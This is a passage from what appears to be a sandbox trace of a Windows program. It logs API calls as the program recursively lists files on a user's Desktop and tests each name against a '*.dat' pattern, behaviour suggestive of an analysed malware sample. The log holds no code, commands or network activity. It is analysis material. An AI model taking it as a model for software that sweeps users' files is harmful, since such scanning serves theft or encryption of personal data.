lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0146.565] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2e) returned 0x33400d0 [0146.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x33400d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", lpUsedDefaultChar=0x0) returned 46 [0146.565] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.565] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.565] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.565] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abe8 [0146.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abe8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.565] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abe8 | out: hHeap=0x2360000) returned 1 [0146.565] PathMatchSpecW (pszFile="F3Jg6iOM3u.avi", pszSpec="*.dat") returned 0 [0146.565] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.566] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e3e340, ftCreationTime.dwHighDateTime=0x1d7a455, ftLastAccessTime.dwLowDateTime=0xbaf238a0, ftLastAccessTime.dwHighDateTime=0x1d7afa5, ftLastWriteTime.dwLowDateTime=0xbaf238a0, ftLastWriteTime.dwHighDateTime=0x1d7afa5, nFileSizeHigh=0x0, nFileSizeLow=0xc22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPDreaGbTfCfnUb6R.odt", cAlternateFileName="FPDREA~1.ODT")) returned 1 [0146.566] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.566] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.566] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="FPDreaGbTfCfnUb6R.odt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt" [0146.566] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.566] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.566] lstrcatW (in: lpString1="\\", lpString2="FPDreaGbTfCfnUb6R.odt" | out: lpString1="\\FPDreaGbTfCfnUb6R.odt") returned="\\FPDreaGbTfCfnUb6R.odt" [0146.566] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0146.566] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x35) returned 0x32bafe0 [0146.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x32bafe0, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", lpUsedDefaultChar=0x0) returned 53 [0146.566] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba390 [0146.566] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bafe0 | out: hHeap=0x2360000) returned 1 [0146.566] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.566] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abb8 [0146.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abb8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.567] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0146.567] PathMatchSpecW (pszFile="FPDreaGbTfCfnUb6R.odt", pszSpec="*.dat") returned 0 [0146.567] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba390 | out: hHeap=0x2360000) returned 1 [0146.567] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0e5e90, ftCreationTime.dwHighDateTime=0x1d7a824, ftLastAccessTime.dwLowDateTime=0xdedaeb90, ftLastAccessTime.dwHighDateTime=0x1d7aee2, ftLastWriteTime.dwLowDateTime=0xdedaeb90, ftLastWriteTime.dwHighDateTime=0x1d7aee2, nFileSizeHigh=0x0, nFileSizeLow=0x7e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="gKYuSUka3xSoq c.swf", cAlternateFileName="GKYUSU~1.SWF")) returned 1 [0146.567] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.567] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.567] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="gKYuSUka3xSoq c.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf" [0146.567] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.567] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.567] lstrcatW (in: lpString1="\\", lpString2="gKYuSUka3xSoq c.swf" | out: lpString1="\\gKYuSUka3xSoq c.swf") returned="\\gKYuSUka3xSoq c.swf" [0146.567] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.567] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x33) returned 0x32bb120 [0146.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x32bb120, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", lpUsedDefaultChar=0x0) returned 51 [0146.567] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba780 [0146.567] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb120 | out: hHeap=0x2360000) returned 1 [0146.567] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.567] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab10 [0146.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab10, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.568] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab10 | out: hHeap=0x2360000) returned 1 [0146.568] PathMatchSpecW (pszFile="gKYuSUka3xSoq c.swf", pszSpec="*.dat") returned 0 [0146.568] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba780 | out: hHeap=0x2360000) returned 1 [0146.568] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2508dd60, ftCreationTime.dwHighDateTime=0x1d7addb, ftLastAccessTime.dwLowDateTime=0x90e93950, ftLastAccessTime.dwHighDateTime=0x1d7adf7, ftLastWriteTime.dwLowDateTime=0x90e93950, ftLastWriteTime.dwHighDateTime=0x1d7adf7, nFileSizeHigh=0x0, nFileSizeLow=0xe1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="h5qh6eqm.pdf", cAlternateFileName="")) returned 1 [0146.568] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.568] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.568] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="h5qh6eqm.pdf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf" [0146.568] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.568] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.568] lstrcatW (in: lpString1="\\", lpString2="h5qh6eqm.pdf" | out: lpString1="\\h5qh6eqm.pdf") returned="\\h5qh6eqm.pdf" [0146.568] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.568] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2c) returned 0x33400d0 [0146.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x33400d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", lpUsedDefaultChar=0x0) returned 44 [0146.568] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.568] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.568] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.568] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aab0 [0146.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aab0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.569] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.569] PathMatchSpecW (pszFile="h5qh6eqm.pdf", pszSpec="*.dat") returned 0 [0146.569] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.569] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hf4qcXfqlQUQtaJUeRB3", cAlternateFileName="HF4QCX~1")) returned 1 [0146.569] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.569] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.569] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.569] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.569] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.569] lstrcatW (in: lpString1="\\", lpString2="Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.569] lstrcmpW (lpString1="Hf4qcXfqlQUQtaJUeRB3", lpString2=".") returned 1 [0146.569] lstrcmpW (lpString1="Hf4qcXfqlQUQtaJUeRB3", lpString2="..") returned 1 [0146.569] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.569] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*" [0146.569] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0146.569] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.570] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.570] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\." [0146.570] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.570] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.570] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="." | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\.") returned="\\Hf4qcXfqlQUQtaJUeRB3\\." [0146.570] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.570] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.570] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.570] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.570] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\.." [0146.570] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.570] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.570] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2=".." | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\..") returned="\\Hf4qcXfqlQUQtaJUeRB3\\.." [0146.570] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.570] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.570] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddda2880, ftCreationTime.dwHighDateTime=0x1d7ace1, ftLastAccessTime.dwLowDateTime=0x68d42070, ftLastAccessTime.dwHighDateTime=0x1d7ad6a, ftLastWriteTime.dwLowDateTime=0x68d42070, ftLastWriteTime.dwHighDateTime=0x1d7ad6a, nFileSizeHigh=0x0, nFileSizeLow=0x1db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4W5ZA5pn.mkv", cAlternateFileName="")) returned 1 [0146.571] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.571] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.571] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="4W5ZA5pn.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv" [0146.571] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.571] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.571] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="4W5ZA5pn.mkv" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv") returned="\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv" [0146.571] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0146.571] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x41) returned 0x33400d0 [0146.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x33400d0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", lpUsedDefaultChar=0x0) returned 65 [0146.571] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e60 [0146.571] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.571] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.571] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abd0 [0146.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236abd0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.571] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0146.571] PathMatchSpecW (pszFile="4W5ZA5pn.mkv", pszSpec="*.dat") returned 0 [0146.571] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e60 | out: hHeap=0x2360000) returned 1 [0146.572] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e0b410, ftCreationTime.dwHighDateTime=0x1d7ab6d, ftLastAccessTime.dwLowDateTime=0xf9aa46a0, ftLastAccessTime.dwHighDateTime=0x1d7acd0, ftLastWriteTime.dwLowDateTime=0xf9aa46a0, ftLastWriteTime.dwHighDateTime=0x1d7acd0, nFileSizeHigh=0x0, nFileSizeLow=0x126ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gt0E_1l d.mkv", cAlternateFileName="GT0E_1~1.MKV")) returned 1 [0146.572] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.572] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.572] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", 